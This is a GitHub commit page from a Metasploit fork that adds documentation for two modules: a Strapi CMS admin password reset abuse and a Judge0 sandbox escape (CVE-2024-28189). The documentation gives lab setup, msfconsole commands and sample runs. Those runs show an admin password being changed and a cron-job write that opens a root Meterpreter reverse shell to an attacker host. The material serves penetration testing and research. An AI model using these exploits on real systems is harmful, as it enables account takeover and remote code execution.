forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge remote-tracking branch 'upstream/master'
- Loading branch information
Showing
8 changed files
with
611 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
59 changes: 59 additions & 0 deletions
59
documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,59 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module abuses the mishandling of a password reset request for | ||
| Strapi CMS version 3.0.0-beta.17.4 to change the password of the admin user. | ||
|
|
||
| Successfully tested against Strapi CMS version 3.0.0-beta.17.4. | ||
|
|
||
| ### Install | ||
|
|
||
|
|
||
| ``` | ||
| docker run -it -p 1337:1337 --rm node:16 /bin/bash | ||
| export CXXFLAGS="-std=c++17" | ||
| # Complete the quickstart | ||
| npm install -g [email protected] && create-strapi-app yourProjectName | ||
| ``` | ||
|
|
||
| Navigate to http://localhost:1337/ to verify the application is running. Now create the first admin account at http://localhost:1337/admin | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install the application | ||
| 1. Start msfconsole | ||
| 1. Do: `use auxiliary/scanner/http/strapi_3_password_reset` | ||
| 1. Do: `set new_password testtesttest` | ||
| 1. Do: `set rport 1337` | ||
| 1. Do: `set rhosts 127.0.0.1` | ||
| 1. Do: `run` | ||
| 1. You should be able to reset the admin users password | ||
|
|
||
| ## Options | ||
|
|
||
| ### NEW_PASSWORD | ||
|
|
||
| New Admin password. No default. | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### npx install of strapi 3.0.0-beta.17.4 | ||
|
|
||
| ``` | ||
| msf6 > use auxiliary/scanner/http/strapi_3_password_reset | ||
| msf6 auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest | ||
| new_password => testtesttest | ||
| msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1 | ||
| rhosts => 127.0.0.1 | ||
| msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337 | ||
| rport => 1337 | ||
| msf6 auxiliary(scanner/http/strapi_3_password_reset) > check | ||
| [-] This module does not support check. | ||
| msf6 auxiliary(scanner/http/strapi_3_password_reset) > run | ||
| [*] Resetting admin password... | ||
| [+] Password changed successfully! | ||
| [+] User: superadminuser | ||
| [+] Email: [email protected] | ||
| [+] PASSWORD: testtesttest | ||
| [*] Auxiliary module execution completed | ||
| ``` |
121 changes: 121 additions & 0 deletions
121
documentation/modules/exploit/linux/http/judge0_sandbox_escape_cve_2024_28189.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,121 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| Judge0 does not account for symlinks placed inside the sandbox directory, | ||
| which can be leveraged by an attacker to write to arbitrary files and gain code execution outside of the sandbox. | ||
|
|
||
| The vulnerability affects: | ||
|
|
||
| * Judge0 <= 1.13.0 | ||
|
|
||
| This module was successfully tested on: | ||
|
|
||
| * Judge0(v1.13.0) installed with Docker on Ubuntu 20.0.4 | ||
|
|
||
|
|
||
| ### Installation | ||
|
|
||
| 1. (Optional) Set cgroup to v1 | ||
| ```bash | ||
| sudo nano /etc/default/grub | ||
| # add this line at the top, and save: | ||
| GRUB_CMDLINE_LINUX="systemd.unified_cgroup_hierarchy=0" | ||
| sudo update-grub | ||
| sudo reboot | ||
| ``` | ||
|
|
||
| 2. Install Judge0 | ||
| ```bash | ||
| wget https://github.com/judge0/judge0/releases/download/v1.13.0/judge0-v1.13.0.zip | ||
| unzip judge0-v1.13.0.zip | ||
| cd judge0-v1.13.0 | ||
| ``` | ||
|
|
||
| 3. Start Judge0 | ||
| ```bash | ||
| docker compose up | ||
| ``` | ||
|
|
||
| 4. (Optional) When Judge0 does not work, try this | ||
| ```bash | ||
| docker compose up --force-recreate server | ||
| ``` | ||
|
|
||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Install the application | ||
| 2. Start msfconsole | ||
| 3. Do: `use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189` | ||
| 4. Do: `run lhost=<lhost> rhost=<rhost>` | ||
| 5. You should get a meterpreter | ||
|
|
||
|
|
||
| ## Options | ||
|
|
||
|
|
||
| ## Scenarios | ||
| ``` | ||
| msf6 > use exploit/linux/http/judge0_sandbox_escape_cve_2024_28189 | ||
| [*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp | ||
| msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > options | ||
| Module options (exploit/linux/http/judge0_sandbox_escape_cve_2024_28189): | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
| RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
| RPORT 2358 yes The target port (TCP) | ||
| SSL false no Negotiate SSL/TLS for outgoing connections | ||
| VHOST no HTTP server virtual host | ||
| Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): | ||
| Name Current Setting Required Description | ||
| ---- --------------- -------- ----------- | ||
| FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
| FETCH_DELETE false yes Attempt to delete the binary after execution | ||
| FETCH_FILENAME JRzyWcrcJ no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
| FETCH_SRVHOST no Local IP to use for serving payload | ||
| FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
| FETCH_URIPATH no Local URI to use for serving payload | ||
| FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces | ||
| LHOST yes The listen address (an interface may be specified) | ||
| LPORT 4444 yes The listen port | ||
| Exploit target: | ||
| Id Name | ||
| -- ---- | ||
| 0 Linux Command | ||
| View the full module info with the info, or info -d command. | ||
| msf6 exploit(linux/http/judge0_sandbox_escape_cve_2024_28189) > run lhost=192.168.56.1 rhost=192.168.56.15 | ||
| [*] Started reverse TCP handler on 192.168.56.1:4444 | ||
| [*] Running automatic check ("set AutoCheck false" to disable) | ||
| [*] Version 1.13.0 detected, which is vulnerable | ||
| [+] The target appears to be vulnerable. | ||
| [*] Writing cron job to /etc/cron.d/dUTuziNy | ||
| [*] Use language: 77, COBOL (GnuCOBOL 2.2) | ||
| [+] Deleted /etc/cron.d/dUTuziNy | ||
| [+] Deleted /root/SVENuNNy | ||
| [*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.15:49024) at 2024-10-29 12:56:04 +0900 | ||
| meterpreter > getuid | ||
| Server username: root | ||
| meterpreter > sysinfo | ||
| Computer : 172.18.0.5 | ||
| OS : Debian 10.2 (Linux 5.4.0-196-generic) | ||
| Architecture : x64 | ||
| BuildTuple : x86_64-linux-musl | ||
| Meterpreter : x64/linux | ||
| meterpreter > pwd | ||
| /root | ||
| meterpreter > | ||
| ``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.